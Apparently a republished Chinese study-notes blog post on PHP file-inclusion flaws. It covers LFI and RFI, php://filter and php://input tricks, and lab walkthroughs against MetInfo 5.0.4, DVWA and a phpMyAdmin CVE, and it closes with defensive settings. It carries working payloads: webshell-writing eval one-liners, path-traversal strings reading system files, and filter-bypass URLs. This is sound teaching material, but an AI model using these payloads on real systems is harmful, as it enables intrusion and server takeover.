文件包含学习笔记总结

文件包含概述

​ 程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。

​ 程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。

​ 几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的Web 应用中居多,在JSP/ASP/ASP.NET 程序中比较少。

文件包含语句

PHP 提供了四个文件包含的语句,四个语句之间略有不同。

语句区别
include()多次包含,多次执行
如果包含失败,脚本产生警告,继续运行
include_once()多次包含,一次执行
如果包含失败,脚本产生警告,继续运行
require()多次包含,多次执行
如果包含失败,脚本产生错误,结束执行
require_once()多次执行,一次执行
如果包含失败,脚本产生错误,结束执行

相关配置

文件包含是PHP 的基本功能之一,有本地文件包含与远程文件包含之分。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On/Off # 通过远程方式打开文件
allow_url_include = On/Off # 通过远程方式包含文件

动态包含

示例代码

// file-include.php
$fp = @$_GET['filepath'];
@include $fp;

本地文件包含

本地文件包含(Local File Include,LFI)通过本地路径访问到的文件。

?filepath=../phpinfo.php

远程文件包含

远程文件包含(Remote File Include,RFI),通过远程路径访问到的文件。

?filepath=http://10.9.64.180/phpinfo.jpg

漏洞原理

漏洞原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

?filepath=./a.jpg

无条件解析PHP 代码,为图片木马提供了出路。

?filepath=a_yjh_info.jpg

文件包含攻防

利用方法

包含图片木马

菜刀直接连接

http://10.4.7.130/file-include/file-include.php?filepath=a_yjh_info.jpg

读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。

前提条件:

  • 目标文件存在(已知目标文件路径);

  • 具有文件可读权限。

具体方法:

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

封装协议

封装协议说明
file://访问本地文件系统
http://访问 HTTP(s) 网址
ftp://访问 FTP(s) URLs
php://访问各个输入/输出流(I/O streams)
zlib://压缩流
data://数据(RFC 2397)
glob://查找匹配的文件路径模式
phar://PHP 归档
ssh2://Secure Shell 2
rar://RAR
ogg://音频流
expect://处理交互式的流

读取php文件源码

利用php://fileter 读取。

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

读取结果:

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==

image-20231115151941386

执行php命令

利用条件:

  • 利用php://input 执行PHP 命令;

  • 远程文件包含开启。

POST /file-include/include.php?filepath=php://input HTTP/1.1
Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 18
<?php phpinfo();?>

包含图片马写shell

条件:

确定文件包含漏洞存在;

菜刀不能直接连接,需要使用文件包含新建的那个php文件进行连接

写Shell:

<?php fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?>
<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>

利用:

http://10.9.47.217/test.php?filepath=shell.php

image-20231115154112565

包含日志

Apache 日志:

访问日志

错误日志

Nginx 日志:

访问日志

错误日志

SSH 日志

邮件日志

经典案例

  • metinfo_5.0.4_lfi

  • dvwa_lfi_high_getshell

metinfo_5.0.4

漏洞位置

/about/index.php

源码

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
//echo $fmodule;
//echo "<hr >";
//echo $module;
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

可以看到有效代码总共四行,其中两行文件包含,第十行的文件包含为动态参数

输出一下$module变量看看

添加一条echo语句过后再访问,发现网页中回显出show.php

image-20231115113056959

看看show.php的源码

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
require_once '../include/common.inc.php';
if(!$id && $class1)$id = $class1;
$show = $db->get_one("SELECT * FROM $met_column WHERE id=$id and module=1");
if(!$show||!$show['isshow']){
okinfo('../404.html');
}
$metaccess=$show[access];
if($show[classtype]==3){
$show3 = $db->get_one("SELECT * FROM $met_column WHERE id='$show[bigclass]'");
$class1=$show3[bigclass];
$class2=$show[bigclass];
$class3=$show[id];
}else{
$class1=$show[bigclass]?$show[bigclass]:$id;
$class2=$show[bigclass]?$id:"0";
$class3=0;
}require_once '../include/head.php';
$class1_info=$class_list[$class1];
$class1_list=$class1_info;
$class2_info=$class_list[$class2];
$class3_info=$class_list[$class3];
$show[content]=contentshow('<div>'.$show[content].'</div>');
$show[description]=$show[description]?$show[description]:$met_keywords;
$show[keywords]=$show[keywords]?$show[keywords]:$met_keywords;
$met_title=$met_title?$show['name'].'-'.$met_title:$show['name'];
if($show['ctitle']!='')$met_title=$show['ctitle'];
require_once '../public/php/methtml.inc.php';
include template('show');
footer();
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

其中有文件包含,但是并没有$module相关的参数

定位到index.php第六行文件包含位置看看内容

即 /module.php

在此页中搜索一下,找到第一次出现的位置

image-20231115113545702

此段代码为if判断初始化代码,如果$fmodule不等于7则进入初始化,等于7则不进行初始化

if($fmodule!=7){if($mdle==100)$mdle=3;if($mdle==101)$mdle=5;$module = $modulefname[$mdle][$mdtp];if($module==NULL){okinfo('../404.html');exit();}if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){if($fmodule==$mdle){$module = $modulefname[$mdle][$mdtp];}else{okinfo('../404.html');exit();}}else{if($list){okinfo('../404.html');exit();}else{$module = $modulefname[$mdle][$mdtp];}}if($mdle==8){if(!$id)$id=$class1;$module = '../feedback/index.php';}
}

于是可以将fmodule的值设置为7,然后控制module的值进行操作

fmodule的值为非7时

image-20231115114251847

fmodule的值为7时

image-20231115114316458

调整module的值为读取hosts文件

http://10.4.7.165/metinfo_5.0.4/about/index.php?fmodule=7&module=c://windows/system32/drivers/etc/hostshttp://10.4.7.165/metinfo_5.0.4/about/index.php?fmodule=7&module=../../../../../../windows/system32/drivers/etc/hosts

image-20231115114417869

可以进行读取

为什么此处可以使用get传参将值传递给这两个参数,module.php页中并没有接受传参的代码?

定位到该页首部会发现一个文件包含

image-20231115114817343

本页中该段代码是接受传参的

image-20231115114945043

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {foreach($$_request as $_key => $_value) {$_key{0} != '_' && $$_key = daddslashes($_value);}
}

添加一条输出后就能看到键值对

image-20231115144111174

image-20231115144004004

dvwa

low

源码

<?php// The page we wish to display
$file = $_GET[ 'page' ];?> 

构造url

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=c:\\windows\system32\drivers\etc\hosts

image-20231115192410105

medium

源码

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );?> 

读代码可知,http头和…/ …\被过滤了

首先可以使用绝对路径

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=c:\\windows\system32\drivers\etc\hosts

image-20231115193354300

使用http的话,可以进行双写绕过

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=hthttp://tp://10.9.47.221/phpinfo.php

image-20231115194323674

使用相对路径时

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=/..././..././..././..././..././..././..././windows/system32/drivers/etc/hosts

image-20231115194526968

high

源码

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?> 

代码可知,如果不以file开头,并且不是include.php的话,就会报错,因此构造一个伪协议file开头的url

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=file:///c://windows/system32/drivers/etc/hosts

image-20231115195409067

文件包含防御

  • 尽量少的使用动态包含;

  • 严格过滤被包含文件的路径;

  • 将参数allow_url_include 设置为Off;

  • 使用参数open_basedir 限定文件访问范围。

open_basedir = c:\phpstudy_2016\www\

扩展1-phpmyadmin 文件包含(CVE-2014-8959)

构造poc

http://10.9.47.235:50614/pma/gis_data_editor.php?token=012ecd10f47ae9c1efaa4cafefa51d11&&gis_data[gis_type]=/../../../../1.gif%00

以post方式提交

image-20231115155525170

成功获取phpinfo

扩展2 01ctfer_afr1

先读取一下flag

发现nonono

image-20231115174139535

但是证明应该有这个文件

使用base64读取flag

http://10.4.7.137/?p=php://filter/read=convert.base64-encode/resource=flag

得到

PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

image-20231115174309244

解码

image-20231115174328649

得到flag

n1book{afr_1_solved}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/143783.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ClickHouse 面试题

文章目录 什么是 ClickHouse&#xff1f;ClickHouse 有哪些应用场景&#xff1f;ClickHouse 列式存储的优点有哪些&#xff1f;ClickHouse 的缺点是是什么&#xff1f;ClickHouse 的架构是怎样的&#xff1f;ClickHouse 的逻辑数据模型&#xff1f;ClickHouse 的核心特性&#…

高性能面试八股文之编译流程程序调度

1. C的编译流程 C语言程序的编译过程通常包括预处理&#xff08;Preprocessing&#xff09;、编译&#xff08;Compilation&#xff09;、汇编&#xff08;Assembly&#xff09;、链接&#xff08;Linking&#xff09;四个主要阶段。下面是这些阶段的详细说明&#xff1a; 1.…

PDF转化为图片

Java 类 PDF2Image 在包 com.oncloudsoft.zbznhc.common.util.pdf 中是用来将 PDF 文件转换为图像的。它使用了 Apache PDFBox 库来处理 PDF 文档并生成图像。下面是类中每个部分的详细解释&#xff1a; 类和方法说明 类 PDF2Image: 使用了 Lombok 库的 Slf4j 注解&#xff0c…

hivesql连续日期统计最大逾期/未逾期案例

1、虚表(测试表和数据) create test_table as select a.cust_no, a.r_date, a.yqts from ( select 123 as cust_no, 20231101 as r_date, 0 as yqts union all select 123 as cust_no, 20231102 as r_date, 1 as yqts union all select 123 as cust_no, 20231103 as r_d…

PPT转PDF转换器:便捷的批量PPT转PDF转换软件

在数字化时代&#xff0c;文档转换已成为日常工作不可或缺的一环。特别是对于那些需要转发或发布演示文稿的人来说&#xff0c;如果希望共享给他人的PPT文件在演示过程中不被修改&#xff0c;那么将PPT文件转换为PDF格式已经成为一个常见的选择。大多数PDF阅读器程序都支持全屏…

Rust实战教程:构建您的第一个应用

大家好&#xff01;我是lincyang。 今天&#xff0c;我们将一起动手实践&#xff0c;通过构建一个简单的Rust应用来深入理解这门语言。 我们的项目是一个命令行文本文件分析器&#xff0c;它不仅能读取和显示文件内容&#xff0c;还会提供一些基础的文本分析&#xff0c;如计算…

pandas教程:GroupBy Mechanics 分组机制

文章目录 Chapter 10 Data Aggregation and Group Operations&#xff08;数据汇总和组操作&#xff09;10.1 GroupBy Mechanics&#xff08;分组机制&#xff09;1 Iterating Over Groups&#xff08;对组进行迭代&#xff09;2 Selecting a Column or Subset of Columns (选中…

小程序中如何设置门店信息

小程序是商家转型升级的利器&#xff0c;小程序中门店信息的准确性和完整性对于用户的体验和信任度都有很大的影响。下面具体介绍门店信息怎么在小程序中进行设置。 在小程序管理员后台->门店设置处&#xff0c;可以门店设置相关。主要分为2个模块&#xff0c;一个是门店级…

Linux-CentOS重要模块

软件包管理器&#xff1a;CentOS使用Yum&#xff08;Yellowdog Updater, Modified&#xff09;作为其包管理器。Yum提供了一种方便的方式来安装、更新和删除软件包&#xff0c;并自动解决依赖关系。 RPM&#xff1a;RPM&#xff08;RPM Package Manager&#xff09;是CentOS中…

CocosCreator3.8神秘面纱 CocosCreator 项目结构说明及编辑器的简单使用

我们通过Dashboard 创建一个2d项目&#xff0c;来演示CocosCreator 的项目结构。 等待创建完成后&#xff0c;会得到以下项目工程&#xff1a; 一、assets文件夹 assets文件夹&#xff1a;为资源目录&#xff0c;用来存储所有的本地资源&#xff0c;如各种图片&#xff0c;脚本…

posix定时器的使用

POSIX定时器是基于POSIX标准定义的一组函数&#xff0c;用于实现在Linux系统中创建和管理定时器。POSIX定时器提供了一种相对较高的精度&#xff0c;可用于实现毫秒级别的定时功能。 POSIX定时器的主要函数包括&#xff1a; timer_create()&#xff1a;用于创建一个定时器对象…

C++网络编程库编写自动爬虫程序

首先&#xff0c;我们需要使用 C 的网络编程库来编写这个爬虫程序。以下是一个简单的示例&#xff1a; #include <iostream> #include <string> #include <curl/curl.h> #include <openssl/ssl.h>const char* proxy_host "duoip"; const in…

LuatOS-SOC接口文档(air780E)--pack - 打包和解包格式串

pack.unpack( string, format, init) 解包字符串 参数 传入值类型 解释 string 需解包的字符串 string 格式化符号 ‘<’:设为小端编码 ‘>’:设为大端编码 ‘’:大小端遵循本地设置 ‘z’:空字符串 ‘p’:byte字符串 ‘P’:word字符串 ‘a’:size_t字符串 ‘A’:…

springmvc中针对一个controller方法配置两个url请求

记录一个小知识点。 某些应用场景》。。你可能需要不同的url请求得到相同的结果&#xff0c;那么你写两个方法总是不太好的&#xff0c;使用下面的方法可以解决这个问题。 RequestMapping(value { "/item/index.htm", "/product/index.htm" })public Mod…

k8s yaml文件含义

文章目录 1、YAML的文件格式和注意事项2、YAML各个字段含义 1、YAML的文件格式和注意事项 不支持制表符tab键缩进&#xff0c;需要使用空格缩进&#xff0c;使用缩进表示层级关系通常开头缩进2个空格&#xff0c;缩进的空格数不重要&#xff0c;只要相同层级的元素左对齐即可字…

【Python】基础(学习笔记)

一、Python介绍 1、Python优点 学习成本低 开源 适应⼈群⼴泛 应⽤领域⼴泛 2、Python解释器 Python解释器作用&#xff1a;运行Python文件 Python解释器分类 CPython&#xff1a;C语⾔开发的解释器[官⽅]&#xff0c;应⽤⼴泛的解释器。 IPython&#xff1a;基于CPyth…

为RabbitMQ配置SSL

1. 安装 OpenSSL 从 OpenSSL 的官方网站&#xff08;https://www.openssl.org/&#xff09;下载 OpenSSL 工具的 Windows 版本&#xff0c;并安装。 2. 创建 SSL 证书和私钥 执行以下命令以生成私钥文件&#xff08;.key&#xff09;和证书签名请求文件&#xff08;.csr&…

Spring中有哪几种方法获取HttpSession对象

Spring MVC 可以直接作为Controller的参数传入&#xff1a; RequestMapping(value "/test", method RequestMethod.POST, produces "application/json;charsetUTF-8")ResponseBodypublic Map test(HttpSession session, String otherParam) {//TODOre…

线性代数理解笔记

一.向量引入: 向量&#xff1a;只由大小和方向决定&#xff0c;不由位置决定。 二.向量加减法 向量的加法是首尾相连&#xff0c;减法是尾尾相连。 而向量v向量w为平行四边形主对角线。 向量v-向量w为平行四边形副对角线。 2.向量内积点乘&#xff08;内积&#xff09; 内积…

Java --- JVM之StringTable

目录 一、String的基本特性 二、String的内存分配 2.1、String内存分布图 三、字符串拼接操作 3.1、字符串拼接操作底层原理 3.2、拼接操作与append操作效率对比 四、intern()方法 4.1、intern()效率 五、StringTable的垃圾回收 一、String的基本特性 1、String字符…